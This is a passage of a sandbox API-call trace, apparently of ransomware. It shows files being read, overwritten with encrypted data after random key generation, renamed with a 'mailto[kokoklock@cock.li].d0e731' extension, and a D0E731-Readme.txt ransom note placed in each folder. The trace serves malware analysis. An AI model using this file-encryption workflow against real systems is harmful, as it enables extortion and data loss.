_Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0166.878] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" [0166.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\d0e731-readme.txt")) returned 0x20 [0166.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d170) returned 1 [0166.878] RtlExitUserThread (Status=0x1) Thread: id = 1638 os_tid = 0x5b4 [0166.881] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.882] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.883] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa2ef930 | out: lpFileSize=0xa2ef930*=3380) returned 1 [0166.883] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xd30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.883] ReadFile (in: hFile=0x528, lpBuffer=0xa2ef904, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0xa2ef904*, lpNumberOfBytesRead=0xa2ef900*=0x4, lpOverlapped=0x0) returned 1 [0166.884] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.884] NtQuerySystemTime (in: CurrentTime=0xa2ef8dc | out: CurrentTime=0xa2ef8dc*=132121213242042121) returned 0x0 [0166.884] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xbf951c64 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x8566bc2a [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xc7990bd3 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x9d9b083f [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x1450e7ff [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x320ec60a [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xf319937 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xbb80e68b [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x89c933e2 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x5405b9e6 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x309d2ed6 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xc486d632 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xf76981f [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x4ad6f516 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x702c0406 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x525608f1 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x150e95b0 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x3d6696ab [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x106a4426 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x7f5a03ef [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x84f562df [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x217c3dc [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xcca93082 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xaee130bc [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x839a6306 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x198099a7 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x513e67e8 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x8402f58b [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x22cc94b9 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xe8e4d4dd [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0x85966eb8 [0166.885] RtlRandom (in: Seed=0xa2ef8e8 | out: Seed=0xa2ef8e8) returned 0xb6ce1ae0 [0166.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47f8 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.896] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0xa2ef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa2ef8dc*=0xd34, lpOverlapped=0x0) returned 1 [0166.896] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa2ef8a4 | out: lpNewFilePointer=0x0) returned 1 [0166.896] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0xa2ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa2ef8d8*=0xd34, lpOverlapped=0x0) returned 1 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa2ef8d4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa2ef8d4*=0x20, lpOverlapped=0x0) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa2ef900*=0x8, lpOverlapped=0x0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0xa2ef918*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0xa2ef918*, lpNumberOfBytesWritten=0xa2ef900*=0x4, lpOverlapped=0x0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa2ef900*=0x4, lpOverlapped=0x0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa2ef900*=0x6c, lpOverlapped=0x0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa2ef900*=0x20, lpOverlapped=0x0) returned 1 [0166.897] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2ef900, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa2ef900*=0x4, lpOverlapped=0x0) returned 1 [0166.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47f8) returned 1 [0166.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.898] CloseHandle (hObject=0x528) returned 1 [0166.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.898] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.898] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.898] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.899] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.899] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.899] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.899] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0166.899] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" [0166.899] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\d0e731-readme.txt")) returned 0x20 [0166.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2ea0) returned 1 [0166.899] RtlExitUserThread (Status=0x1) Thread: id = 1639 os_tid = 0x368 [0166.900] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.901] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.901] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa36f7d0 | out: lpFileSize=0xa36f7d0*=77424) returned 1 [0166.901] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x12e6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.901] ReadFile (in: hFile=0x528, lpBuffer=0xa36f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0xa36f7a4*, lpNumberOfBytesRead=0xa36f7a0*=0x4, lpOverlapped=0x0) returned 1 [0166.902] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47f8 [0166.903] NtQuerySystemTime (in: CurrentTime=0xa36f77c | out: CurrentTime=0xa36f77c*=132121213242198580) returned 0x0 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x161447c6 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x9771d8e7 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xc50f0546 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xa4d51b50 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x4eaaacbc [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xc9ee0565 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xc345b649 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xaf527f6f [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x227fd446 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x3a4a7062 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xec497683 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xd020284e [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x40557174 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xb6f435be [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x8e2fa183 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x460097b8 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x14ff1eaf [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x5402767 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xd74bed93 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xda6a4d44 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x6b1c8b4d [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x8a44362b [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xd5016afe [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x30614f50 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xff1ff77a [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x8388b93f [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x9a400fdb [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x79d8a35 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0xb7ad828a [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x1fac458 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x7b3b5392 [0166.903] RtlRandom (in: Seed=0xa36f788 | out: Seed=0xa36f788) returned 0x7224d0bb [0166.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.914] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.914] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.914] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.914] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa36f754, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa36f754*=0x4096, lpOverlapped=0x0) returned 1 [0166.915] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.915] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45a0 [0166.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45c8 [0166.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45c8) returned 1 [0166.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.916] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa36f754, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa36f754*=0x4096, lpOverlapped=0x0) returned 1 [0166.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.916] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x12e70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.916] WriteFile (in: hFile=0x528, lpBuffer=0x2fe45a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa36f78c, lpOverlapped=0x0 | out: lpBuffer=0x2fe45a0*, lpNumberOfBytesWritten=0xa36f78c*=0x20, lpOverlapped=0x0) returned 1 [0166.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45a0) returned 1 [0166.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa36f7a0*=0x8, lpOverlapped=0x0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0xa36f7b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0xa36f7b8*, lpNumberOfBytesWritten=0xa36f7a0*=0x4, lpOverlapped=0x0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa36f7a0*=0x4, lpOverlapped=0x0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa36f7a0*=0x6c, lpOverlapped=0x0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa36f7a0*=0x20, lpOverlapped=0x0) returned 1 [0166.917] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa36f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa36f7a0*=0x4, lpOverlapped=0x0) returned 1 [0166.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.918] CloseHandle (hObject=0x528) returned 1 [0166.918] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.918] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.918] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.918] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.919] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.919] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.919] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0166.919] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" [0166.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\d0e731-readme.txt")) returned 0x20 [0166.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d218) returned 1 [0166.919] RtlExitUserThread (Status=0x1) Thread: id = 1640 os_tid = 0x918 [0166.924] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.925] 